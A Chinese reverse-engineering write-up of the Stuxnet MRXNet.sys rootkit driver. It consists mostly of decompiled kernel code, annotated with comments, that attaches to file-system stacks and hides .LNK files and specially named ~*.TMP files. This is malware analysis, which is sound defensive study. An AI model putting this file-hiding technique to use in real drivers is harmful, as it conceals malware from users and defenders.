《附录四:内核rootkit-MRXNet.sys的逆向分析》 -By nEINEI md5:CC1DB5360109DE3B857654297D262CA1 size:16.99 KB (17400 bytes) last time:Wednesday 21 July 2010, 04.01.58 description:Windows NT NET Minirdr internalname:MRxCls.sys originalname:MRXNET.Sys signed:Realtek Semiconductor corp ,sha1,2010-1-25 22:45:24 2010-06-28 18:19:07 1/41 - vba32 - Rootkit.TmpHider; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned int v2; // eax v2 = __security_cookie; if ( !__security_cookie || __security_cookie == -1153374642 ) { v2 = (unsigned int)&__security_cookie ^ KeTickCount.LowPart; __security_cookie = (unsigned int)&__security_cookie ^ KeTickCount.LowPart; if ( &__security_cookie == (ULONG_PTR *)KeTickCount.LowPart ) { v2 = -1153374642; __security_cookie = -1153374642; } } BugCheckParameter3 = ~v2; // 驱动函数入口,这里完成实际的功能 return A_Malware_Entry_sub_10726(DriverObject, RegistryPath); } NTSTATUS __stdcall A_Malware_Entry_sub_10726(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { NTSTATUS v2; // esi signed int v3; // eax ::DriverObject = DriverObject; v2 = IoCreateDevice(DriverObject, 8u, 0, 8u, 0x100u, 0, &DeviceObject); if ( v2 >= 0 ) { A_Copy_input_2_value_sub_10A92((_DWORD *)DeviceObject->DeviceExtension, 0); v3 = 56; do { *(_DWORD *)((char *)&::DriverObject->Type + v3) = A_Call_IofCallDriver_sub_10486; v3 += 4; } while ( v3 <= 164 ); // 率先得到文件请求 ::DriverObject->MajorFunction[13] = (PDRIVER_DISPATCH)A_Dispatch_File_sub_10496; // 13 -> 文件系统控制IRP ::DriverObject->MajorFunction[12] = (PDRIVER_DISPATCH)A_Dispatch_Directory_sub_104EC; // 12->查询文件或者目录 A_Dispatch_FastIoDispatch_sub_10542(); // 添加自身到到设备栈中,在NTFS,fastfat,cdfs前,接收 I/O 请求包, // 这样可以使得MRxNet可以修改驱动输入,隐藏目录,文件名字; A_Add_Device_FS_sub_106BE(); v2 = IoRegisterFsRegistrationChange(::DriverObject, A_Add_self_Device_sub_109EC); if ( v2 >= 0 ) return 0; } if ( DeviceObject ) IoDeleteDevice(DeviceObject); ::DriverObject->FastIoDispatch = 0; return v2; } PVOID A_Add_Device_FS_sub_106BE() { PVOID result; // eax int v1; // esi LSA_UNICODE_STRING DestinationString; // [esp+10h] [ebp-24h] int i; // [esp+18h] [ebp-1Ch] CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h] ms_exc.registration.TryLevel = 0; RtlInitUnicodeString(&DestinationString, &word_11B1A); result = MmGetSystemRoutineAddress(&DestinationString); // 获得ObReferenceObjectByName 函数地址 v1 = (int)result; if ( result ) { for ( i = 0; i < 3; ++i ) result = (PVOID)A_Add_Device_sub_10630(v1, (&off_11F00)[i]); // attach 到 ntfs/fat/cdfs 文件系统上 } return result; } // attach 到3种文件系统中, int __stdcall A_Add_Device_sub_10630(int ObReferenceObjectByName, PCWSTR SourceString) { int result; // eax _DEVICE_OBJECT *i; // esi LSA_UNICODE_STRING DestinationString; // [esp+10h] [ebp-20h] CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h] ms_exc.registration.TryLevel = 0; RtlInitUnicodeString(&DestinationString, SourceString); result = ((int (__stdcall *)(LSA_UNICODE_STRING *, signed int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, PCWSTR *))ObReferenceObjectByName)( &DestinationString, 64, 0, 0, IoDriverObjectType, 0, 0, &SourceString); if ( result >= 0 ) { for ( i = (_DEVICE_OBJECT *)*((_DWORD *)SourceString + 1); i; i = i->NextDevice ) A_Add_self_Device_sub_109EC(i, 1); // attach 到对应文件系统的设备对象 ObfDereferenceObject((PVOID)SourceString); result = 0; } else { ms_exc.registration.TryLevel = -2; } return result; } / attach 到对应文件系统的设备对象 void __stdcall A_Attach_self_Device_sub_109EC(PDEVICE_OBJECT TargetDevice, char a2/* a2 = true, 创建*/) { _DEVICE_OBJECT *v2; // esi _DEVICE_OBJECT *v3; // edi if ( a2 ) { A_Find_and_Add_Device_sub_10980(TargetDevice); } else { v2 = TargetDevice->AttachedDevice; v3 = TargetDevice; while ( v2 ) { if ( (unsigned __int8)A_Search_Device_sub_10AEA((int)v2) ) { IoDetachDevice(v3); IoDeleteDevice(v2); return; } v3 = v2; v2 = v2->AttachedDevice; } } } PVOID A_Add_Device_FS_sub_106BE() { PVOID result; // eax int v1; // esi LSA_UNICODE_STRING DestinationString; // [esp+10h] [ebp-24h] int i; // [esp+18h] [ebp-1Ch] CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h] ms_exc.registration.TryLevel = 0; RtlInitUnicodeString(&DestinationString, &word_11B1A); result = MmGetSystemRoutineAddress(&DestinationString); v1 = (int)result; if ( result ) { for ( i = 0; i < 3; ++i ) result = (PVOID)A_Add_Device_sub_10630(v1, (&off_11F00)[i]); } return result; } void __stdcall A_Add_self_Device_sub_109EC(PDEVICE_OBJECT TargetDevice, char a2) { _DEVICE_OBJECT *v2; // esi _DEVICE_OBJECT *v3; // edi if ( a2 ) { A_Find_and_Add_Device_sub_10980(TargetDevice); } else { v2 = TargetDevice->AttachedDevice; v3 = TargetDevice; while ( v2 ) { if ( (unsigned __int8)A_Search_Device_sub_10AEA((int)v2) ) { IoDetachDevice(v3); IoDeleteDevice(v2); return; } v3 = v2; v2 = v2->AttachedDevice; } } } void __usercall A_Find_and_Add_Device_sub_10980(_DEVICE_OBJECT *a1@) { ULONG v1; // eax PVOID v2; // esi PDEVICE_OBJECT DeviceObject; // [esp+0h] [ebp-4h] v1 = a1->DeviceType; DeviceObject = 0; if ( (v1 == 8 || v1 == 3 || v1 == 20) && !A_Find_DriverObject_sub_10AB4((int)a1) && A_Call_IoCreateDevice_sub_10A3C((int)a1, &DeviceObject) >= 0 ) { A_Setting_Value_sub_10A66((int)DeviceObject, (int)a1); v2 = DeviceObject->DeviceExtension; A_Copy_input_2_value_sub_10A92((_DWORD *)DeviceObject->DeviceExtension, 0); if ( A_Attach_Device_to_stack_sub_10B12(DeviceObject, a1, (int)v2) < 0 ) IoDeleteDevice(DeviceObject); } } // 查看是否是自身 char __stdcall A_Find_DriverObject_sub_10AB4(int a1) { int v1; // eax v1 = a1; if ( a1 ) { while ( 1 ) { v1 = *(_DWORD *)(v1 + 16); if ( !v1 ) break; if ( *(PDRIVER_OBJECT *)(v1 + 8) == DriverObject && *(_DWORD *)(v1 + 40) ) return 1; } } return 0; } // 重要的隐藏功能是在dispatch directory 函数中 NTSTATUS __stdcall A_Dispatch_Directroy_sub_10DC8(int a1, PIRP Irp) { _IO_STACK_LOCATION *v2; // eax PFILE_OBJECT v3; // ecx ULONG v4; // esi _IO_STACK_LOCATION *v6; // esi _IO_STACK_LOCATION *v7; // eax v2 = Irp->Tail.Overlay.CurrentStackLocation; v3 = v2->FileObject; if ( !(v3->Flags & 0x400000) || !v3 ) { v4 = v2->Parameters.Create.Options; // 这里的一个条件是文件名称长度是76,且前面包含"{" 这样的字符的文件名称就跳过。 // 如果不是上述条件,那么进行条件检查隐藏文件; if ( !v4 || *(_WORD *)v4 != 76 || memcmp(*(const void **)(v4 + 4), "{", 0x4Cu) ) { v2->Control |= 1u; v6 = Irp->Tail.Overlay.CurrentStackLocation; qmemcpy(&v6[-1], v6, 0x1Cu); v6[-1].Control = 0; v7 = Irp->Tail.Overlay.CurrentStackLocation; v7[-1].Context = 0; --v7; // 这里处理隐藏文件条件 v7->CompletionRoutine = (PIO_COMPLETION_ROUTINE)A_IoCompletionRoutine_sub_10C2A; v7->Control = -32; IofCallDriver(**(PDEVICE_OBJECT **)(a1 + 40), Irp); return 259; } v3 = v2->FileObject; } v2->Parameters.Create.Options = 0; if ( v3 ) v3->Flags |= 0x400000u; return A_IofCallDriver_sub_10B44(a1, Irp); } int __stdcall A_IoCompletionRoutine_sub_10C2A(PDEVICE_OBJECT DeviceObject, int a2, int a3) { _IRP *v3; // edi PMDL *v4; // esi int v6; // ebx PMDL v7; // eax PVOID v8; // eax _MDL **v9; // eax int v10; // [esp+10h] [ebp-24h] int v11; // [esp+14h] [ebp-20h] int v12; // [esp+18h] [ebp-1Ch] CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h] ms_exc.registration.TryLevel = 0; v12 = a3; v3 = (_IRP *)a2; if ( *(_DWORD *)(a2 + 24) < 0 ) { v4 = (PMDL *)a3; LABEL_3: A_Cmp_mem_sub_10B6A((int)v3, v4); LABEL_4: ms_exc.registration.TryLevel = -2; return 0; } v6 = *(_DWORD *)(a2 + 0x60); if ( !A_Return_Bool_sub_11538(*(_DWORD *)(v6 + 12), &v10, &v11, &a2) ) goto LABEL_17; v7 = v3->MdlAddress; if ( v7 ) { if ( v7->MdlFlags & 5 ) v8 = v7->MappedSystemVa; else v8 = MmMapLockedPagesSpecifyCache(v7, 0, MmCached, 0, 0, NormalPagePriority); if ( !v8 ) goto LABEL_17; } else { v8 = v3->UserBuffer; } // 判断要隐藏的文件条件 if ( A_Check_hide_file_sub_11688(v8, *(_DWORD *)(v6 + 4), v10, v11, a2) ) { v3->IoStatus.Status = 0; v4 = (PMDL *)a3; goto LABEL_3; } if ( !v3->MdlAddress ) { v9 = (_MDL **)ExAllocatePool(0, 4u); v12 = (int)v9; if ( !v9 || !sub_10B98(v6, v3, v9) ) { LABEL_17: A_Cmp_mem_sub_10B6A((int)v3, (PMDL *)v12); v3->IoStatus.Status = -1073741670; goto LABEL_4; } } v3->IoStatus.Status = A_Setting_Dir_filter_sub_10D38(DeviceObject, v6, (int)v3, v12); return -1073741802; } //.具体的隐藏条件 char __stdcall A_Check_hide_file_sub_11688(void *Dst, int a2, int a3, int a4, int a5) { int *v5; // edi unsigned __int16 *v7; // ebx int v8; // kr00_4 int v9; // esi unsigned int v10; // [esp+4h] [ebp-10h] int v11; // [esp+8h] [ebp-Ch] int *v12; // [esp+Ch] [ebp-8h] int v13; // [esp+10h] [ebp-4h] char Dst_3; // [esp+1Fh] [ebp+Bh] int v15; // [esp+20h] [ebp+Ch] v12 = 0; v5 = (int *)Dst; v13 = a2; Dst_3 = 0; if ( !a2 ) return 1; while ( 1 ) { v15 = *v5; if ( a3 == -1 ) { v10 = -1; v11 = -1; } else { v10 = *(int *)((char *)v5 + a3); v11 = *(int *)((char *)v5 + a3 + 4); } v7 = (unsigned __int16 *)((char *)v5 + a4); if ( *(int *)((char *)v5 + a5) & 1 || ((v8 = *(int *)((char *)v5 + a5), v9 = v8 / 2, (v11 & v10) != -1) && (v11 || v10 != 4171) || v9 <= 4 || !A_Compare_Strings_sub_114DA(L".LNK", &v7[v9 - 4], 4)) // 扩展名是.lnk的文件名要隐藏 && !A_Check_tmp_file_sub_115F6(v7, v8 / 2, v10, v11) ) // 第二个隐藏条件 { v12 = v5; v5 = (int *)((char *)v5 + v15); Dst_3 = 1; goto LABEL_16; } if ( !v15 ) break; memmove(v5, (char *)v5 + v15, v13 - v15); LABEL_16: v13 -= v15; if ( !v15 ) return Dst_3 != 0; } if ( v12 ) *v12 = 0; return Dst_3 != 0; } // 这里是另外一个条件 bool __userpurge A_Check_tmp_file_sub_115F6@(unsigned __int16 *a1@, int a2, unsigned int a3, int a4) { int v4; // edi signed int v6; // ecx unsigned __int16 v7; // ax v4 = 0; if ( ((a4 & a3) == -1 || !a4 && a3 >= 0x1000 && a3 <= 0x800000) // 文件大小要在0x1000 ~ 0x800000 之间 && a2 == 12 && A_Compare_Strings_sub_114DA(L".TMP", a1 + 8, 4) // 文件扩展名要是.tmp && A_Compare_Strings_sub_114DA((unsigned __int16 *)"~", a1, 12) ) //文件名开始要是 “~” 这个字符 { v6 = 4; while ( 1 ) { v7 = a1[v6]; if ( v7 < 0x30u || v7 > 0x39u ) //文件名称中包含数字的部分 break; ++v6; v4 = (v7 + v4 - 48) % 10; // 包含数字的部分要复合这些数字之和必须等于10; 显然,在stuxnet 产生这些tmp文件时,就是按照生产数字部分=10的条件产生的; if ( v6 > 7 ) // 这样防治误把其他系统的.tmp文件给隐藏掉; return v4 == 0; } } return 0; }